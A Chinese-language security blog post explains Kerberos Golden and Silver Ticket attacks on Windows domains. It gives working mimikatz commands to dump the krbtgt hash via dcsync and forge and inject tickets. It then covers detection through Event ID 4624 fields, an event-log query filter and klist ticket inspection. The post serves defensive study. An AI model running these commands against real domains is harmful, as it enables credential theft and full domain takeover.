type
Post
status
Published
date
Dec 12, 2022
slug
summary
tags
攻防
内网
category
技术分享
icon
password
Property
Feb 9, 2023 07:21 AM
黄金票据
何为黄金票据
黄金票据(Golden Tickets)是伪造的Ticket-Granting Tickets (TGT),也称为身份验证票据。
先来看看Kerbreos通信的过程:

例:当正常用户申请票据并访问域控时
- 密码转换为 NTLM 哈希,并作为身份验证票证 TGT 请求(AS-REQ)中的身份验证器发送到 DC
- TGT 被加密、签名并返回给用户(AS-REP)
- 用户在请求票证授予服务 TGS 票证(TGS-REQ)时向 DC 出示 TGT。DC 打开 TGT 并验证 PAC 校验和 – 如果 DC 校验票据无误,则 TGT = 有效
- DC将 TGS 使用目标服务账户的 NTLM 密码哈希加密并发送给用户(TGS-REP)
- 用户在连接相应资源服务器并提供 TGS(AP-REQ)。该服务器将使用其 NTLM 密码哈希解密打开 TGS 票证
- 相应资源服务器得以验证成功。
利用黄金票据通信的过程:

从图中可以看到,利用黄金票据去请求相应资源服务的时候,不需要经过 DC 分发相应的 TGT票据(省去了AS-REQ 和 AS-REP步骤)
黄金票据攻击
黄金票据是域中合法的 TGT 票据,因为它是由域账户 krbtgt 加密签名生成(krbtgt:每个域控制器都有一个krbtgt账户,是DC的服务账户,用来创建票据授予服务TGS加密的密钥)
所以我们需要得到 krbtgt 账户的NTLM hash,伪造新的 TGT 赋予任意用户上,绕过 DC 对用户验证而分发 TGT 的过程,从而实现获取域控权限
攻击场景:当我们拿到域内主机权限,登录域内普通用户,接下来通过mimikatz中的
kerberos::ptt
功能将golden.kirbi导入内存中mimikatz "kerberos::purge" //清空以前的票据,为了能明显看到黄金票据攻击成效,先排除其他票据影响 mimikatz "kerberos::list" //列出票据为空证明已经清空 whoami /all //获取域sid S-1-5-21-3509941119-2378129212-3207187888-xxxx mimikatz "lsadump::dcsync /domain:com.test /user:krbtgt" //获取krbtgt 的 NTLM Hash mimikatz "kerberos::golden /admin:test /domain:com.test /sid:S-1-5-21-3509941119-2378129212-3207187888 /krbtgt:36f23b1d9995ebb4b9312494b64b823b /ptt" //生成票据并直接注入内存
可以选择任意用户实现TGT的伪造

发现
制造黄金票据并注入内存的动作,系统并未记录到可疑的日志记录。所以角度转向受访机器,通过黄金票据访问受访机器产生的日志记录,唯有跟踪
EventID=4624
的日志
从日志中可以看到:
1、
LogonType
为3,即为网络登录类型2、
LogonProcessName
登录进程和AuthenticationPackageName
身份验证包为Kerberos
,即Kerberos身份验证3、
ImpersonationLevel
为%%1840
,即模拟等级为委派
。这点则与大多数Kerberos访问请求%%1833即模拟
日志不同白银票据
何为白银票据
白银票据是伪造TGS的票据,也叫服务票据
如下图所示,没有 AS-REQ / AS-REP(步骤 1 和 2)和 TGS-REQ / TGS-REP(步骤 3 和 4)与域控制器的通信。由于 Silver Ticket 是伪造的 TGS,因此无法与域控制器进行通信。

Kerberos银票服务主体名称。是有效的票证授予服务 (TGS) Kerberos 票证,因为它由服务帐户加密/签名,该服务帐户为运行 Kerberos 身份验证服务的每个服务器配置了
票据区别
- 黄金票据是伪造的TGT,可有效访问任何Kerberos服务,而白银票据是伪造的TGS。这意味着白银票据的范围仅限于针对特定服务器的任何服务
- 金票是使用域Kerberos服务帐户(KRBTGT)加密/签名的,而银票是通过服务帐户(从计算机的本地SAM中提取的计算机帐户凭据或服务帐户凭据)加密/签名的
- 大多数服务不验证PAC(通过将PAC校验和发送到域控制器进行PAC验证),因此使用服务帐户密码哈希生成的有效TGS可以包含完全虚构的PAC
- 对于白银票据攻击,攻击者需要服务帐户密码哈希
- TGS是伪造的,没有关联的TGT,这意味永远不会与DC通信
在我看来,白银票据可能比黄金票据更危险,虽然范围比黄金票据更有限,但所需的哈希更容易获得,并且在使用时没有与DC通信,因此检测比黄金票据更难
白银票据攻击
先获取服务账号的NTLM,带$符的为服务账号

kerberos::purge //清空以前的票据 kerberos::list //列出票据为空证明已经清空 whoami /all //获取域sid S-1-5-21-3509941119-2378129212-3207187888-xxxx //生成白银票据并直接注入内存 mimikatz “kerberos::golden /domain:com.test /sid:S-1-5-21-3509941119-2378129212-3207187888 /target:DC.com.test /service:cifs /rc4:56359daff33efccc79cb83db415e1cb3 /user:administrator /ptt"

发现
制造白银票据并注入内存的动作,系统并未记录到可疑的日志记录。同样将角度转向受访机器,通过白银票据访问受访机器产生的日志记录,跟踪
EventID=4624
的日志
从日志中可以看到:
1、
LogonType
为3,即为网络登录类型2、
LogonProcessName
登录进程为NtLmSsp
3、
AuthenticationPackageName
身份验证包为NTLM
,即NTLM系列身份验证3、
LmPackageName
协议名称为NTLM V2
如果读者顺手做一次wmic远程代码执行的试验,会发现这点跟使用wmic连接登录的日志是一样的
检测
以下检测以黄金票据举例:
一、日志检测:
上面已经讲过了!!所以windows eventlog筛选语句建议如下:
<QueryList><Query Id='0' Path='Security'><Select Path='Security'>*[System[(EventID=4624)]] and *[EventData[Data[@Name='LogonType']='3' and Data[@Name='AuthenticationPackageName']='Kerberos' and Data[@Name='LogonProcessName']='Kerberos' and Data[@Name='ImpersonationLevel']='%%1840']]</Select></Query></QueryList>
筛选出来后,可进一步根据
TargetUserName
去做筛查二、klist检测:
回看攻击原理
一句话概括,利用krbtgt账户的NTLM hash,伪造新的TGT即黄金票据,将其注入到会话内存中,而黄金票据并不能在新或者另外的会话中用上
新的检测想法:既然不能从攻击过程产生的日志中发现,那我们是否可以根据什么途径去找到会话中所有的票据,再去识别是否可疑?
生成票据特征分析
意外发现 klist 这个神奇的命令可以看到当前会话的票据内容,出于好奇再重现了一次攻击,通过列出的票据对比一下正常票据和注入黄金票据有什么不同

咱们通过工具源代码做个分析。直接来到mimikatz中的
kerberos::golden
模块浅析浅析 https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kerberos/kuhl_m_kerberos.c#L409根据攻击使用到的命令行,在源码中可以看到mimikatz的加密方式支持多种(具体选择的加密方式还需要与受害者机器适合)。但是若指定krbtgt账户,默认对票据使用RC4加密

为生成票据赋予的时间相关属性如下,默认生成的票据时间为10年,并非网上说的默认8小时
还可以看到票据默认的过期时间和续订时间一致,域内正常票据的续订时间会比结束时间晚7天左右

通过以上代码基本设置了默认的黄金票据内容,最重要的特征点还有该票据生成是未经过KDC认证的,所以
KDC Called
属性为空
回归检测
在多次实验发现,利用a会话窗口注入的黄金票据只能在a会话的klist可见(看来这个klist命令也不是很神奇),所以需要利用klist sessions列出当前所有会话,再根据会话id去列出相应的票据内容。类似这样:

参考
- Author:w1nk1
- URL:https://notion-w1nk1.vercel.app//article/857487b4-0395-4886-b314-e1ac7ec8e562
- Copyright:All articles in this blog, except for special statements, adopt BY-NC-SA agreement. Please indicate the source!
Relate Posts